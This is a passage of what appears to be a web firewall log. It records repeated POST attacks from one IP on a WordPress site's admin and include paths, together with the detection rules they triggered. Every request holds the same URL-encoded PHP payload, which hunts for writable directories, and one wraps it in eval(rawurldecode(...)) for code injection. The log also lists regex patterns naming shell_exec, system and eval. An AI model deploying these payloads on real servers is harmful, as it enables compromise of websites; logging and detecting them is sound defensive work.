0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:4400\n\nXs=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:22:42","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> FZ:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-fetch-dest:document\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEybvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:4400\n\nFZ=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:22:54","213.209.159.254","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> pc:%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-dest:document\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept-encoding:gzip,deflate\ncontent-length:4400\n\npc=%3C%3Fphp%20%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 22:22:59","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\naccept:*\/*\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nupgrade-insecure-requests:1\nsec-ch-ua-mobile:?0\ncontent-length:4423\n\nIMAhJp=eval(rawurldecode(\"%20%20%24total%20%3D%200%3B%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p%20.%20DIRECTORY_SEPARATOR%20.%20%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20%24total%2B%2B%3B%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20die%28%27%21ended%21%27%29%3B%20%20%20%20%20%7D%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20global%20%24total%3B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%2